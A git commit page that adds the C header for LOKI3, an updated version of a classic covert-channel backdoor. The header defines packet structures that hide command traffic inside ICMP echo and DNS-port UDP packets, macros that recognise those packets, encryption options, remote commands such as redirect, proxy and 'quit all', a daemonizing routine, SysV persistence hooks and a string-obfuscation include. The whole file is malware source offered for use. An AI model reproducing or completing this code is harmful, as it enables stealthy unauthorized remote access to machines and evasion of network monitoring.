diff options
| author | daniel <daniel@planethacker.net> | 2025-05-07 09:45:50 -0700 |
|---|---|---|
| committer | daniel <daniel@planethacker.net> | 2025-05-07 09:45:50 -0700 |
| commit | eeac69b2168c5a65f9608771006ccc43033cbd23 (patch) | |
| tree | 1dc44a6016b607085a691768810d551045df9901 /loki.h | |
Diffstat (limited to 'loki.h')
| -rw-r--r-- | loki.h | 361 |
1 files changed, 361 insertions, 0 deletions
@@ -0,0 +1,361 @@ +#pragma once + +/* + * LOKI3 + * + * loki header file + * + * 1996/7 Guild Corporation Productions [daemon9] + */ + +#include <errno.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <signal.h> +#include <pwd.h> +#include <unistd.h> +#include <netinet/in.h> +#include <arpa/inet.h> +#include <netdb.h> +#include <sys/socket.h> +#include <sys/ioctl.h> +#include <sys/stat.h> +#include <sys/wait.h> +#include <fcntl.h> +#include <time.h> +#include <grp.h> +#include <sys/ipc.h> +#include <sys/sem.h> +#include <sys/shm.h> +#include <setjmp.h> +#include <stdint.h> + +#include "cstrobf.h" + +#ifdef LINUX +#include <netinet/ip.h> /* musl doesn't supply linux/icmp.h or linux/ip.h */ + +#define ICMP_ECHO 8 +#define ICMP_ECHOREPLY 0 + +/* BSDish nomenclature */ +#define ip iphdr +#define ip_v version +#define ip_hl ihl +#define ip_len tot_len +#define ip_ttl ttl +#define ip_p protocol +#define ip_dst daddr +#define ip_src saddr +#endif /* LINUX */ + +#ifdef BSD4 +#include <netinet/in_systm.h> +#include <netinet/ip_var.h> +#include <netinet/ip.h> +#include <netinet/tcp.h> +#include <netinet/tcpip.h> +#include <netinet/ip_icmp.h> +#include <netinet/icmp_var.h> +#include <sys/sockio.h> +#include <sys/termios.h> +#include <sys/signal.h> + +#undef icmp_id +#undef icmp_seq +#define ip_dst ip_dst.s_addr +#define ip_src ip_src.s_addr +#endif + +#ifdef SOLARIS +#include <netinet/in_systm.h> +#include <netinet/in.h> +#include <netinet/ip_var.h> +#include <netinet/ip.h> +#include <netinet/tcp.h> +#include <netinet/tcpip.h> +#include <netinet/ip_icmp.h> +#include <netinet/icmp_var.h> +#include <sys/sockio.h> +#include <sys/termios.h> +#include <sys/signal.h> +#include <strings.h> +#include <unistd.h> + +#undef icmp_id +#undef icmp_seq +#define ip_dst ip_dst.s_addr +#define ip_src ip_src.s_addr +#endif + +#ifdef BROKEN_IP_LEN +#define FIX_LEN(n) (x) /* FreeBSD needs this */ +#else +#define FIX_LEN(n) htons(n) +#endif + + +/* + * Net/3 will not pass ICMP_ECHO packets to user processes. + */ + +#ifdef NET3 +#define D_P_TYPE ICMP_ECHO +#define C_P_TYPE ICMP_ECHOREPLY +#else +#define D_P_TYPE ICMP_ECHOREPLY +#define C_P_TYPE ICMP_ECHO +#endif + +#ifdef WEAK_CRYPTO +#define CRYPTO_TYPE "XOR" +#endif +#ifdef NO_CRYPTO +#define CRYPTO_TYPE "none" +#endif + + +/* Start user configurable options */ + +#define MIN_TIMEOUT 3 /* minimum client-side alarm timeout */ +#define MAX_RETRAN 3 /* maximum client-side timeout/retry amount */ +#define MAX_CLIENT 10 /* maximum server-side client count */ +#define KEY_TIMER 600 /* maximum server-side idle client TTL */ + +/* End user configurable options */ + + + +#define VERSION "3.0" +#define BUFSIZE 0x38 /* We build packets with a fixed payload. + * Fine for ICMP_ECHO/ECHOREPLY packets as they + * often default to a 56 byte payload. However + * DNS query/reply packets have no set size and + * are generally oddly sized with no padding. + */ + +#define ICMPH_SIZE 8 +#define UDPH_SIZE 8 +#define NL_PORT htons(0x35) + +#define PROMPT "loki> " +#define ENCR 1 /* symbolic for encrypt */ +#define DECR 0 /* symbolic for decrypt */ +#define NOCR 1 /* don't encrypt this packet */ +#define OKCR 0 /* encrypt this packet */ +#define OK 1 /* Positive acknowledgement */ +#define NOK 0 /* Negative acknowledgement */ +#define NNOK -1 /* Really negative acknowledgement */ +#define FIND 1 /* Controls locate_client */ +#define DESTROY 2 /* disposition */ + +/* LOKI packet type symbolics */ + +#define L_TAG 0xf001 /* Tags packets as LOKI */ +#define L_PK_REQ 0xa1 /* Public Key request packet */ +#define L_PK_REPLY 0xa2 /* Public Key reply packet */ +#define L_EOK 0xa3 /* Encrypted ok */ +#define L_REQ 0xb1 /* Standard reuqest packet */ +#define L_REPLY 0xb2 /* Standard reply packet */ +#define L_ERR 0xc1 /* Error of some kind */ +#define L_ACK 0xd1 /* Acknowledgement */ +#define L_QUIT 0xd2 /* Receiver should exit */ +#define L_EOT 0xf1 /* End Of Transmission packet */ + +/* Packet type printing macro */ + +#ifdef DEBUG +#define PACKET_TYPE(ldg)\ +\ +if (ldg.payload[0] == 0xa1) fprintf(stderr, "Public Key Request"); \ +else if (ldg.payload[0] == 0xa2) fprintf(stderr, "Public Key Reply"); \ +else if (ldg.payload[0] == 0xa3) fprintf(stderr, "Encrypted OK"); \ +else if (ldg.payload[0] == 0xb1) fprintf(stderr, "Client Request"); \ +else if (ldg.payload[0] == 0xb2) fprintf(stderr, "Server Reply"); \ +else if (ldg.payload[0] == 0xc1) fprintf(stderr, "Error"); \ +else if (ldg.payload[0] == 0xd1) fprintf(stderr, "ACK"); \ +else if (ldg.payload[0] == 0xd2) fprintf(stderr, "QUIT"); \ +else if (ldg.payload[0] == 0xf1) fprintf(stderr, "Server EOT"); \ +else fprintf(stderr, "Unknown"); \ +if (prot == IPPROTO_ICMP) fprintf(stderr, ", ICMP type: %d\n", ldg.ttype.icmph.icmp_type);\ +else fprintf(stderr, "\n");\ + +#define DUMP_PACKET(ldg, i)\ +\ +for (i = 0; i < BUFSIZE; i++) fprintf(stderr, "0x%x ",ldg.payload[i]); \ +fprintf(stderr, "\n");\ + +#endif + + +/* + * Escaped commands (not interpreted by the shell) + */ + +#define HELP "/help" /* Help me */ +#define TIMER "/timer" /* Change the client side timer */ +#define QUIT_C "/quit" /* Quit the client */ +#define QUIT_ALL "/quit all" /* Kill all clients and server */ +#define STAT_C "/stat" /* Stat the client */ +#define STAT_ALL "/stat all" /* Stat all the clients */ +#define SWAP_T "/swapt" /* Swap protocols */ +#define REDIR_C "/redirect" /* Redirect to another client */ +#define PROXY_D "/proxy" /* Proxy to another server */ + +/* + * Control flag symbolics + */ + +#define TERMINATE 0x01 +#define TRAP 0x02 +#define VALIDC 0x04 +#define VALIDP 0x08 +#define NEWTRANS 0x10 +#define REDIRECT 0x20 +#define PROXY 0x40 +#define SENDKILL 0x80 + + +/* + * Message Strings + * L_ == common to both server and client + * S_ == specific to server + * C_ == specific to client + */ + +#define L_MSG_BANNER "\nLOKI3 dmfr [(c) 2019-3000 Elective Surgery]\n" +#define L_MSG_NOPRIV "\n[fatal] invalid user identification value" +#define L_MSG_SOCKET "[fatal] socket allocation error" +#define L_MSG_ICMPONLY "\nICMP protocol only with strong cryptography\n" +#define L_MSG_ATEXIT "[fatal] cannot register with atexit(2)" +#define L_MSG_DHKEYGEN "generating Diffie-Hellman parameters and keypair" +#define L_MSG_DHKGFAIL "\n[fatal] Diffie-Hellman key generation failure\n" +#define L_MSG_SIGALRM "[fatal] cannot catch SIGALRM" +#define L_MSG_SIGUSR1 "[fatal] cannot catch SIGUSR1" +#define L_MSG_WIERDERR "\n[SUPER fatal] control should NEVER fall here\n" +#define S_MSG_PACKED "\nlokid: server is currently at capacity. Try again later\n" +#define C_MSG_USAGE "\nloki -d dest -p (i|u) [ -v (0|1) ] [ -t (n>3) ]\n" +#define C_MSG_TIMEOUT "\nloki: no response from server (expired timer)\n" +#define C_MSG_MUSTQUIT "\nloki: received termination directive from server\n" + +/* + * Macros to evaluate packets to determine if they are LOKI or not. + * These are UGLY. + */ + + +/* + * ICMP_ECHO client packet check + */ +#define IS_GOOD_ITYPE_C(ldg)\ +\ +(i_check((uint16_t *)&ldg.ttype.icmph, BUFSIZE + ICMPH_SIZE) == 0 &&\ + ldg.ttype.icmph.icmp_type == D_P_TYPE &&\ + ldg.ttype.icmph.icmp_id == loki_id &&\ + ldg.ttype.icmph.icmp_seq == L_TAG &&\ + (ldg.payload[0] == L_REPLY ||\ + ldg.payload[0] == L_PK_REPLY ||\ + ldg.payload[0] == L_EOT ||\ + ldg.payload[0] == L_QUIT ||\ + ldg.payload[0] == L_ERR)) ==\ + (1) ? (1) : (0)\ +/* + * ICMP_ECHO daemon packet check + */ +#define IS_GOOD_ITYPE_D(ldg)\ +\ +(i_check((uint16_t *)&ldg.ttype.icmph, BUFSIZE + ICMPH_SIZE) == 0 &&\ + ldg.ttype.icmph.icmp_type == C_P_TYPE &&\ + ldg.ttype.icmph.icmp_seq == L_TAG &&\ + (ldg.payload[0] == L_REQ ||\ + ldg.payload[0] == L_QUIT ||\ + ldg.payload[0] == L_PK_REQ)) ==\ + (1) ? (1) : (0)\ +/* + * UDP client packet check + */ +#define IS_GOOD_UTYPE_C(ldg)\ +\ +(i_check((uint16_t *)&ldg.ttype.udph, BUFSIZE + UDPH_SIZE) == 0 &&\ + ldg.ttype.udph.uh_sport == NL_PORT &&\ + ldg.ttype.udph.uh_dport == loki_id &&\ + (ldg.payload[0] == L_REPLY ||\ + ldg.payload[0] == L_EOT ||\ + ldg.payload[0] == L_QUIT ||\ + ldg.payload[0] == L_ERR)) ==\ + (1) ? (1) : (0)\ +/* + * UDP daemon packet check. Yikes. We need more info here. + */ +#define IS_GOOD_UTYPE_D(ldg)\ +\ +(i_check((uint16_t *)&ldg.ttype.udph, BUFSIZE + UDPH_SIZE) == 0 &&\ + ldg.ttype.udph.uh_dport == NL_PORT &&\ + (ldg.payload[0] == L_QUIT ||\ + ldg.payload[0] == L_REQ)) ==\ + (1) ? (1) : (0)\ +/* + * ICMP_ECHO / ICMP_ECHOREPLY header prototype + */ +struct icmp_echo { + uint8_t icmp_type; /* 1 byte type */ + uint8_t icmp_code; /* 1 byte code */ + uint16_t icmp_cksum; /* 2 byte checksum */ + uint16_t icmp_id; /* 2 byte identification */ + uint16_t icmp_seq; /* 2 byte sequence number */ +}; + + +/* + * UDP header prototype + */ +struct udp { + uint16_t uh_sport; /* 2 byte source port */ + uint16_t uh_dport; /* 2 byte destination port */ + uint16_t uh_ulen; /* 2 byte length */ + uint16_t uh_sum; /* 2 byte checksum */ +}; + + +/* + * LOKI packet prototype + */ +struct loki { + struct ip iph; /* IP header */ + union { + struct icmp_echo icmph; /* ICMP header */ + struct udp udph; /* UDP header */ + }ttype; + uint8_t payload[BUFSIZE]; /* data payload */ +}; + +#define LOKIP_SIZE sizeof(struct loki) +#define LP_DST rdg.iph.ip_src + +void blur(int, int, uint8_t *); /* Symmetric encryption function */ +char *host_lookup(uint32_t); /* network byte -> human readable */ +uint32_t name_resolve(char *); /* human readable -> network byte */ +uint16_t i_check(uint16_t *, int); /* Ah yes, the IP family checksum */ +int c_parse(uint8_t *, int *); /* parse escaped commands [client] */ +void d_parse(uint8_t *, pid_t, int); /* parse escaped commands [server] */ + /* build and transmit LOKI packets */ +void loki_xmit(uint8_t *, uint16_t, int, struct sockaddr_in, int); +int lokid_xmit(uint8_t *, uint32_t, int, int); +void err_exit(int, int, int, char *); /* handle exit with reason */ +void clean_exit(int); /* exit cleanly */ +void help(); /* lala */ +void shadow(); /* daemonizing routine */ +void swap_t(int); /* swap protocols [server-side] */ +void reaper(int); /* prevent zombies */ +void catch_timeout(int); /* ALARM signal catcher */ +void client_expiry_check(); /* expire client from shm */ +void prep_shm(); /* Prepare shm ans semaphore */ +void dump_shm(); /* detach shm */ +void packets_read(); /* packets read (client) */ +void fd_status(int, int); /* dumps fd stats */ +#ifdef PERSISTENCE +void handle_sigterm(int); /* SIGTERM handler */ +void unlink_persistence(); /* remove SysV service persistence */ +#endif /* PERSISTENCE */ +/* EOF */ |
